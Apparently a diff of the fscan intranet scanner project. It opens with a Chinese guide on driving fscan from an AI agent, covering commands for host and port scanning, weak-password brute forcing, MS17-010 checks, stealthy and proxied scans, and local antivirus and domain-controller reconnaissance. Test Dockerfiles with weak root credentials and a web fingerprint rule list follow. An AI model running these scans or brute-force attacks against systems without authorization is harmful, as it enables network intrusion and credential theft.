# Fscan AI Agent Skill
|
||||
|
||||
## 工具概述
|
||||
|
||||
Fscan 是一款内网综合扫描工具,功能包括:
|
||||
- 主机存活探测(ICMP / TCP)
|
||||
- 端口扫描与服务识别
|
||||
- 漏洞检测(MS17-010、Redis 未授权等)
|
||||
- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等)
|
||||
- Web 指纹识别与 POC 扫描
|
||||
- NetBIOS / SMB 信息收集
|
||||
- 本地信息收集(杀软检测、系统信息等)
|
||||
|
||||
二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`。
|
||||
|
||||
## 调用格式
|
||||
|
||||
```bash
|
||||
# AI agent 标准用法:NDJSON 输出,无人类日志干扰
|
||||
fscan -h <目标> -silent [其他参数]
|
||||
|
||||
# 解析输出
|
||||
fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")'
|
||||
```
|
||||
|
||||
## 核心参数
|
||||
|
||||
### 目标指定
|
||||
|
||||
| 参数 | 说明 | 示例 |
|
||||
|------|------|------|
|
||||
| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` |
|
||||
| `-hf` | 从文件读取目标 | `-hf targets.txt` |
|
||||
| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` |
|
||||
| `-ep` | 排除端口 | `-ep 25,110` |
|
||||
| `-eh` | 排除主机 | `-eh 192.168.1.1` |
|
||||
| `-u` | 指定 URL(Web 扫描) | `-u https://example.com` |
|
||||
| `-uf` | URL 文件 | `-uf urls.txt` |
|
||||
|
||||
### 扫描控制
|
||||
|
||||
| 参数 | 说明 | 默认值 |
|
||||
|------|------|--------|
|
||||
| `-m` | 扫描模式 | `all` |
|
||||
| `-t` | 端口扫描线程数 | `600` |
|
||||
| `-mt` | 模块线程数 | `20` |
|
||||
| `-time` | 连接超时(秒) | `3` |
|
||||
| `-gt` | 全局超时(秒) | `180` |
|
||||
| `-np` | 跳过存活检测 | `false` |
|
||||
| `-ntp` | 禁用 TCP 补充探测 | `false` |
|
||||
| `-ao` | 仅存活检测 | `false` |
|
||||
| `-nobr` | 禁用暴力破解 | `false` |
|
||||
| `-full` | 全量 POC 扫描 | `false` |
|
||||
| `-max-retries` | 最大重试次数 | `1` |
|
||||
|
||||
### 认证
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-user` | 用户名 |
|
||||
| `-pwd` | 密码 |
|
||||
| `-usera` | 追加用户名 |
|
||||
| `-pwda` | 追加密码,支持逗号或空格分隔多个值 |
|
||||
| `-userf` | 用户名字典文件 |
|
||||
| `-pwdf` | 密码字典文件 |
|
||||
| `-domain` | 域名(SMB/WMI) |
|
||||
| `-sshkey` | SSH 私钥文件 |
|
||||
| `-hash` / `-hashf` | NTLM Hash / Hash 文件 |
|
||||
|
||||
### 代理
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) |
|
||||
| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) |
|
||||
| `-iface` | 指定本地网卡 IP(VPN 场景) |
|
||||
|
||||
### 输出
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-silent` | 静默模式:stdout 仅输出 NDJSON |
|
||||
| `-o` | 输出文件路径(默认 `result.txt`) |
|
||||
| `-f` | 输出格式:`txt` / `json` / `csv` |
|
||||
| `-no` | 禁用文件保存 |
|
||||
| `-debug` | 调试模式:日志写入 `fscan_debug.log` |
|
||||
| `-log` | 日志级别(`debug` / `info` / `base` / `error`) |
|
||||
|
||||
### 扫描模式 `-m` 的取值
|
||||
|
||||
| 值 | 说明 |
|
||||
|------|------|
|
||||
| `all` | 全部扫描(默认) |
|
||||
| `icmp` | 仅 ICMP 存活检测 |
|
||||
| 插件名 | 仅运行指定插件(如 `ssh`、`smb`、`ms17010`、`webtitle`) |
|
||||
|
||||
## 服务插件列表
|
||||
|
||||
| 插件 | 默认端口 | 功能 |
|
||||
|------|----------|------|
|
||||
| `ftp` | 21 | FTP 弱口令 |
|
||||
| `ssh` | 22 | SSH 弱口令 |
|
||||
| `telnet` | 23 | Telnet 弱口令 |
|
||||
| `smtp` | 25 | SMTP 弱口令 |
|
||||
| `findnet` | 135 | RPC 网络信息发现(NetInfo) |
|
||||
| `netbios` | 139 | NetBIOS 信息收集 |
|
||||
| `smb` | 445 | SMB 弱口令 |
|
||||
| `ms17010` | 445 | MS17-010 永恒之蓝检测 |
|
||||
| `ldap` | 389 | LDAP 弱口令 |
|
||||
| `mssql` | 1433 | MSSQL 弱口令 |
|
||||
| `oracle` | 1521 | Oracle 弱口令 |
|
||||
| `mysql` | 3306 | MySQL 弱口令 |
|
||||
| `rdp` | 3389 | RDP 弱口令 + 系统信息 |
|
||||
| `postgresql` | 5432 | PostgreSQL 弱口令 |
|
||||
| `vnc` | 5900 | VNC 弱口令 |
|
||||
| `redis` | 6379 | Redis 未授权 + 弱口令 |
|
||||
| `elasticsearch` | 9200 | ES 未授权 |
|
||||
| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 |
|
||||
| `memcached` | 11211 | Memcached 未授权 |
|
||||
| `kafka` | 9092 | Kafka 未授权 |
|
||||
| `activemq` | 61616 | ActiveMQ 弱口令 |
|
||||
| `rabbitmq` | 5672 | RabbitMQ 弱口令 |
|
||||
| `cassandra` | 9042 | Cassandra 弱口令 |
|
||||
| `neo4j` | 7687 | Neo4j 弱口令 |
|
||||
| `rsync` | 873 | Rsync 未授权 |
|
||||
| `webtitle` | 80/443 | Web 标题 + 指纹识别 |
|
||||
| `webpoc` | 80/443 | Web 漏洞 POC |
|
||||
|
||||
## 本地插件(`-local`)
|
||||
|
||||
```bash
|
||||
fscan -local avdetect # 杀软检测
|
||||
fscan -local systeminfo # 系统信息收集
|
||||
fscan -local envinfo # 环境变量信息
|
||||
fscan -local dcinfo # 域控信息
|
||||
fscan -local fileinfo # 敏感文件搜索
|
||||
```
|
||||
|
||||
## NDJSON 输出 Schema(`-silent` 模式)
|
||||
|
||||
每行一个 JSON 对象,所有字段定义:
|
||||
|
||||
| 字段 | 类型 | 出现条件 | 说明 |
|
||||
|------|------|----------|------|
|
||||
| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` |
|
||||
| `target` | string | 必有 | 原始目标 `host` 或 `host:port` |
|
||||
| `status` | string | 必有 | 状态描述 |
|
||||
| `host` | string | 必有 | IP 地址 |
|
||||
| `port` | int | PORT/SERVICE/VULN | 端口号 |
|
||||
| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) |
|
||||
| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https) |
|
||||
| `banner` | string | SERVICE | 服务 Banner |
|
||||
| `title` | string | SERVICE (web) | 网页标题 |
|
||||
| `url` | string | SERVICE (web) | 完整 URL |
|
||||
| `vulnerability` | string | VULN | 漏洞名称 |
|
||||
| `username` | string | VULN (弱口令) | 用户名 |
|
||||
| `password` | string | VULN (弱口令) | 密码 |
|
||||
| `plugin` | string | SERVICE/VULN | 产生结果的插件名 |
|
||||
| `version` | string | SERVICE | 服务版本号 |
|
||||
| `os` | string | SERVICE | 操作系统信息 |
|
||||
|
||||
### 输出示例
|
||||
|
||||
```jsonl
|
||||
{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"}
|
||||
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22}
|
||||
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445}
|
||||
{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"}
|
||||
{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"}
|
||||
{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"}
|
||||
{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"}
|
||||
{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"}
|
||||
```
|
||||
|
||||
### 结果产出顺序
|
||||
|
||||
1. `HOST` — 存活探测阶段
|
||||
2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错)
|
||||
3. `SERVICE` — 服务识别阶段
|
||||
4. `VULN` — 漏洞/弱口令检测阶段
|
||||
|
||||
同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。
|
||||
|
||||
## 常用场景参数组合
|
||||
|
||||
### 全网段快速扫描
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent
|
||||
```
|
||||
|
||||
### 跳过存活检测直接扫端口(目标明确时)
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent -np
|
||||
```
|
||||
|
||||
### 指定端口精确扫描
|
||||
|
||||
```bash
|
||||
fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379
|
||||
```
|
||||
|
||||
### 仅存活探测
|
||||
|
||||
```bash
|
||||
fscan -h 172.16.0.0/16 -silent -m icmp
|
||||
```
|
||||
|
||||
### 低速隐蔽扫描
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent -t 30 -time 5
|
||||
```
|
||||
|
||||
### 通过 SOCKS5 代理扫描内网
|
||||
|
||||
```bash
|
||||
fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080
|
||||
```
|
||||
|
||||
### 仅做弱口令检测
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt
|
||||
```
|
||||
|
||||
### Web 目标扫描
|
||||
|
||||
```bash
|
||||
fscan -u https://target.com -silent -full
|
||||
```
|
||||
|
||||
### 多目标文件批量扫描
|
||||
|
||||
```bash
|
||||
fscan -hf targets.txt -silent -o results.json -f json
|
||||
```
|
||||
|
||||
### 带调试日志的排障扫描
|
||||
|
||||
```bash
|
||||
# NDJSON 到 stdout,debug 日志到文件,互不干扰
|
||||
fscan -h 192.168.1.0/24 -silent -debug
|
||||
# 事后查看:cat fscan_debug.log
|
||||
```
|
||||
|
||||
## AI Agent 结果处理
|
||||
|
||||
### Python 管道消费
|
||||
|
||||
```python
|
||||
import json, subprocess
|
||||
|
||||
proc = subprocess.Popen(
|
||||
["fscan", "-h", "192.168.1.0/24", "-silent"],
|
||||
stdout=subprocess.PIPE, text=True
|
||||
)
|
||||
|
||||
hosts, services, vulns = [], [], []
|
||||
for line in proc.stdout:
|
||||
r = json.loads(line)
|
||||
if r["type"] == "HOST":
|
||||
hosts.append(r["host"])
|
||||
elif r["type"] == "SERVICE":
|
||||
services.append(r)
|
||||
elif r["type"] == "VULN":
|
||||
vulns.append(r)
|
||||
|
||||
proc.wait()
|
||||
```
|
||||
|
||||
### jq 过滤
|
||||
|
||||
```bash
|
||||
# 提取所有弱口令
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"'
|
||||
|
||||
# 提取所有漏洞
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"'
|
||||
|
||||
# 提取 Web 服务
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"'
|
||||
|
||||
# 统计开放端口
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON
|
||||
- 空字段不出现在 JSON 中(`omitempty`)
|
||||
- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败
|
||||
- `-silent` 和 `-debug` 可同时使用,互不干扰
|
||||
- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证
|
||||
- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级
|
||||
- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率
|
||||
@@ -1,11 +0,0 @@
|
||||
FROM rmohr/activemq:5.15.9
|
||||
|
||||
# 复制配置文件
|
||||
COPY users.properties /opt/activemq/conf/users.properties
|
||||
COPY activemq.xml /opt/activemq/conf/activemq.xml
|
||||
|
||||
# 暴露端口
|
||||
EXPOSE 61616 61613
|
||||
|
||||
# 设置启动命令
|
||||
CMD ["/opt/activemq/bin/activemq", "console"]
|
||||
@@ -1,20 +0,0 @@
|
||||
# 使用Ubuntu最新版本作为基础镜像
|
||||
FROM ubuntu:latest
|
||||
|
||||
# 安装必要的软件包
|
||||
RUN apt-get update && apt-get install -y \
|
||||
openssh-server \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# 创建SSH所需的目录
|
||||
RUN mkdir /var/run/sshd
|
||||
|
||||
# 允许root用户SSH登录并设置密码
|
||||
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
|
||||
RUN echo 'root:Aa123456789' | chpasswd
|
||||
|
||||
# 开放22端口
|
||||
EXPOSE 22
|
||||
|
||||
# 启动SSH服务
|
||||
CMD ["/usr/sbin/sshd", "-D"]
|
||||
@@ -1,8 +0,0 @@
|
||||
[supervisord]
|
||||
nodaemon=true
|
||||
|
||||
[program:vnc]
|
||||
command=/usr/bin/vncserver :1 -geometry 1280x800 -depth 24
|
||||
user=vncuser
|
||||
autostart=true
|
||||
autorestart=true
|
||||
@@ -1,98 +0,0 @@
|
||||
package WebScan
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/WebScan/info"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// CheckDatas 存储HTTP响应的检查数据
|
||||
type CheckDatas struct {
|
||||
Body []byte // 响应体
|
||||
Headers string // 响应头
|
||||
}
|
||||
|
||||
// InfoCheck 检查URL的指纹信息
|
||||
func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
|
||||
var matchedInfos []string
|
||||
|
||||
// 遍历检查数据
|
||||
for _, data := range *CheckData {
|
||||
// 规则匹配检查
|
||||
for _, rule := range info.RuleDatas {
|
||||
var matched bool
|
||||
var err error
|
||||
|
||||
// 根据规则类型选择匹配内容
|
||||
switch rule.Type {
|
||||
case "code":
|
||||
matched, err = regexp.MatchString(rule.Rule, string(data.Body))
|
||||
default:
|
||||
matched, err = regexp.MatchString(rule.Rule, data.Headers)
|
||||
}
|
||||
|
||||
// 处理匹配错误
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("规则匹配错误 [%s]: %v", rule.Name, err))
|
||||
continue
|
||||
}
|
||||
|
||||
// 添加匹配成功的规则名
|
||||
if matched {
|
||||
matchedInfos = append(matchedInfos, rule.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// MD5匹配检查暂时注释
|
||||
/*
|
||||
if flag, name := CalcMd5(data.Body); flag {
|
||||
matchedInfos = append(matchedInfos, name)
|
||||
}
|
||||
*/
|
||||
}
|
||||
|
||||
// 去重处理
|
||||
matchedInfos = removeDuplicateElement(matchedInfos)
|
||||
|
||||
// 输出结果
|
||||
if len(matchedInfos) > 0 {
|
||||
result := fmt.Sprintf("发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos)
|
||||
Common.LogInfo(result)
|
||||
return matchedInfos
|
||||
}
|
||||
|
||||
return []string{}
|
||||
}
|
||||
|
||||
// CalcMd5 计算内容的MD5并与指纹库比对
|
||||
func CalcMd5(Body []byte) (bool, string) {
|
||||
contentMd5 := fmt.Sprintf("%x", md5.Sum(Body))
|
||||
|
||||
// 比对MD5指纹库
|
||||
for _, md5Info := range info.Md5Datas {
|
||||
if contentMd5 == md5Info.Md5Str {
|
||||
return true, md5Info.Name
|
||||
}
|
||||
}
|
||||
|
||||
return false, ""
|
||||
}
|
||||
|
||||
// removeDuplicateElement 移除切片中的重复元素
|
||||
func removeDuplicateElement(items []string) []string {
|
||||
// 预分配空间
|
||||
result := make([]string, 0, len(items))
|
||||
seen := make(map[string]struct{}, len(items))
|
||||
|
||||
// 使用map去重
|
||||
for _, item := range items {
|
||||
if _, exists := seen[item]; !exists {
|
||||
seen[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
@@ -1,314 +0,0 @@
|
||||
package info
|
||||
|
||||
type RuleData struct {
|
||||
Name string
|
||||
Type string
|
||||
Rule string
|
||||
}
|
||||
|
||||
type Md5Data struct {
|
||||
Name string
|
||||
Md5Str string
|
||||
}
|
||||
|
||||
type PocData struct {
|
||||
Name string
|
||||
Alias string
|
||||
}
|
||||
|
||||
var RuleDatas = []RuleData{
|
||||
{"宝塔", "code", "(app.bt.cn/static/app.png|安全入口校验失败|<title>入口校验失败</title>|href=\"http://www.bt.cn/bbs)"},
|
||||
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
|
||||
{"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"},
|
||||
{"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"},
|
||||
{"绿盟防火墙", "code", "(NSFOCUS NF)"},
|
||||
{"绿盟防火墙", "headers", "(NSFocus)"},
|
||||
{"Topsec-Waf", "index", `(<META NAME="Copyright" CONTENT="Topsec Network Security Technology Co.,Ltd"/>","<META NAME="DESCRIPTION" CONTENT="Topsec web UI"/>)`},
|
||||
{"Anquanbao", "headers", "(Anquanbao)"},
|
||||
{"BaiduYunjiasu", "headers", "(yunjiasu)"},
|
||||
{"BigIP", "headers", "(BigIP|BIGipServer)"},
|
||||
{"BinarySEC", "headers", "(binarysec)"},
|
||||
{"BlockDoS", "headers", "(BlockDos.net)"},
|
||||
{"CloudFlare", "headers", "(cloudflare)"},
|
||||
{"Cloudfront", "headers", "(cloudfront)"},
|
||||
{"Comodo", "headers", "(Protected by COMODO)"},
|
||||
{"IBM-DataPower", "headers", "(X-Backside-Transport)"},
|
||||
{"DenyAll", "headers", "(sessioncookie=)"},
|
||||
{"dotDefender", "headers", "(dotDefender)"},
|
||||
{"Incapsula", "headers", "(X-CDN|Incapsula)"},
|
||||
{"Jiasule", "headers", "(jsluid=)"},
|
||||
{"KONA", "headers", "(AkamaiGHost)"},
|
||||
{"ModSecurity", "headers", "(Mod_Security|NOYB)"},
|
||||
{"NetContinuum", "headers", "(Cneonction|nnCoection|citrix_ns_id)"},
|
||||
{"Newdefend", "headers", "(newdefend)"},
|
||||
{"Safe3", "headers", "(Safe3WAF|Safe3 Web Firewall)"},
|
||||
{"Safedog", "code", "(404.safedog.cn/images/safedogsite/broswer_logo.jpg)"},
|
||||
{"Safedog", "headers", "(Safedog|WAF/2.0)"},
|
||||
{"SonicWALL", "headers", "(SonicWALL)"},
|
||||
{"Stingray", "headers", "(X-Mapping-)"},
|
||||
{"Sucuri", "headers", "(Sucuri/Cloudproxy)"},
|
||||
{"Usp-Sec", "headers", "(Secure Entry Server)"},
|
||||
{"Varnish", "headers", "(varnish)"},
|
||||
{"Wallarm", "headers", "(wallarm)"},
|
||||
{"阿里云", "code", "(errors.aliyun.com)"},
|
||||
{"WebKnight", "headers", "(WebKnight)"},
|
||||
{"Yundun", "headers", "(YUNDUN)"},
|
||||
{"Yunsuo", "headers", "(yunsuo)"},
|
||||
{"Coding pages", "header", "(Coding Pages)"},
|
||||
{"启明防火墙", "code", "(/cgi-bin/webui?op=get_product_model)"},
|
||||
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
|
||||
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
|
||||
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
|
||||
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
|
||||
{"Nexus", "code", "(Nexus Repository Manager)"},
|
||||
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
|
||||
{"Harbor", "code", "(<title>Harbor</title>)"},
|
||||
{"Harbor", "cookie", "(harbor-lang)"},
|
||||
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|/zentao/theme/zui/css/min.css)"},
|
||||
{"禅道", "cookie", "(zentaosid)"},
|
||||
{"协众OA", "code", "(Powered by 协众OA)"},
|
||||
{"协众OA", "cookie", "(CNOAOASESSID)"},
|
||||
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
|
||||
{"atmail-WebMail", "cookie", "(atmail6)"},
|
||||
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"},
|
||||
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
|
||||
{"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
|
||||
{"discuz", "code", "(content=\"Discuz! X\")"},
|
||||
{"Typecho", "code", "(Typecho</a>)"},
|
||||
{"金蝶EAS", "code", "(easSessionId)"},
|
||||
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
|
||||
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
|
||||
{"H3C-AM8000", "code", "(AM8000)"},
|
||||
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
|
||||
{"H3C公司产品", "code", "([email protected])"},
|
||||
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
|
||||
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
|
||||
{"H3C ER5100", "code", "(ER5100系统管理)"},
|
||||
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
|
||||
{"CISCO_EPC3925", "code", "(Docsis_system)"},
|
||||
{"CISCO ASR", "code", "(CISCO ASR)"},
|
||||
{"H3C ER3200", "code", "(ER3200系统管理)"},
|
||||
{"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"},
|
||||
{"Spark_Master", "code", "(Spark Master at)"},
|
||||
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
|
||||
{"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"},
|
||||
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
|
||||
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
|
||||
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
|
||||
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
|
||||
{"360主机卫士", "headers", "(zhuji.360.cn)"},
|
||||
{"Nagios", "headers", "(Nagios Access)"},
|
||||
{"H3C ER8300", "code", "(ER8300系统管理)"},
|
||||
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
|
||||
{"华为 MCU", "code", "(McuR5-min.js)"},
|
||||
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
|
||||
{"泛微OA", "headers", "(ecology_JSessionid)"},
|
||||
{"泛微OA", "code", "(/spa/portal/public/index.js)"},
|
||||
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
|
||||
{"360网站卫士", "code", "(360wzb)"},
|
||||
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
|
||||
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
|
||||
{"zabbix", "cookie", "(zbx_sessionid)"},
|
||||
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
|
||||
{"CISCO_VPN", "headers", "(webvpn)"},
|
||||
{"360站长平台", "code", "(360-site-verification)"},
|
||||
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
|
||||
{"o2security_vpn", "headers", "(client_param=install_active)"},
|
||||
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
|
||||
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
|
||||
{"CISCO-CX20", "code", "(CISCO-CX20)"},
|
||||
{"H3C ER5200", "code", "(ER5200系统管理)"},
|
||||
{"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
|
||||
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
|
||||
{"H3C ER3100", "code", "(ER3100系统管理)"},
|
||||
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
|
||||
{"360webfacil_360WebManager", "code", "(publico/template/)"},
|
||||
{"Citrix_Netscaler", "code", "(ns_af)"},
|
||||
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
|
||||
{"H3C ER3260", "code", "(ER3260系统管理)"},
|
||||
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
|
||||
{"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
|
||||
{"Spark_Worker", "code", "(Spark Worker at)"},
|
||||
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
|
||||
{"Citrix-ConfProxy", "code", "(confproxy)"},
|
||||
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
|
||||
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
|
||||
{"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
|
||||
{"华为(HUAWEI)USG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
|
||||
{"H3C ER6300", "code", "(ER6300系统管理)"},
|
||||
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
|
||||
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
|
||||
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
|
||||
{"H3C ER2100", "code", "(ER2100系统管理)"},
|
||||
{"jira", "code", "(jira.webresources)"},
|
||||
{"金和协同管理平台", "code", "(金和协同管理平台)"},
|
||||
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
|
||||
{"linksys-vpn", "headers", "(linksys-vpn)"},
|
||||
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
|
||||
{"华为(HUAWEI)Secoway设备", "code", "(Secoway)"},
|
||||
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
|
||||
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
|
||||
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
|
||||
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
|
||||
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
|
||||
{"Jboss", "headers", "(JBoss)"},
|
||||
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
|
||||
{"泛微E-mobile", "headers", "(EMobileServer)"},
|
||||
{"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
|
||||
{"ThinkPHP", "headers", "(ThinkPHP)"},
|
||||
{"ThinkPHP", "code", "(/Public/static/js/)"},
|
||||
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
|
||||
{"Laravel", "headers", "(laravel_session)"},
|
||||
{"DWR", "code", "(dwr/engine.js)"},
|
||||
{"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
|
||||
{"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
|
||||
{"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
|
||||
{"Jenkins", "code", "(Jenkins)"},
|
||||
{"红帆OA", "code", "(iOffice)"},
|
||||
{"VMware vSphere", "code", "(VMware vSphere)"},
|
||||
{"打印机", "code", "(打印机|media/canon.gif)"},
|
||||
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
|
||||
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
|
||||
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
|
||||
{"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
|
||||
{"Hadoop Applications", "code", "(/cluster/app/application)"},
|
||||
{"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"},
|
||||
{"帆软报表", "code", "(WebReport/login.html|ReportServer)"},
|
||||
{"帆软报表", "headers", "(数据决策系统)"},
|
||||
{"华夏ERP", "headers", "(华夏ERP)"},
|
||||
{"金和OA", "cookie", "(ASPSESSIONIDSSCDTDBS)"},
|
||||
{"久其财务报表", "code", "(netrep/login.jsp|/netrep/intf)"},
|
||||
{"若依管理系统", "code", "(ruoyi/login.js|ruoyi/js/ry-ui.js)"},
|
||||
{"启莱OA", "code", "(js/jQselect.js|js/jquery-1.4.2.min.js)"},
|
||||
{"智慧校园管理系统", "code", "(DC_Login/QYSignUp)"},
|
||||
{"JQuery-1.7.2", "code", "(webui/js/jquerylib/jquery-1.7.2.min.js)"},
|
||||
{"浪潮 ClusterEngineV4.0", "code", "(0;url=module/login/login.html)"},
|
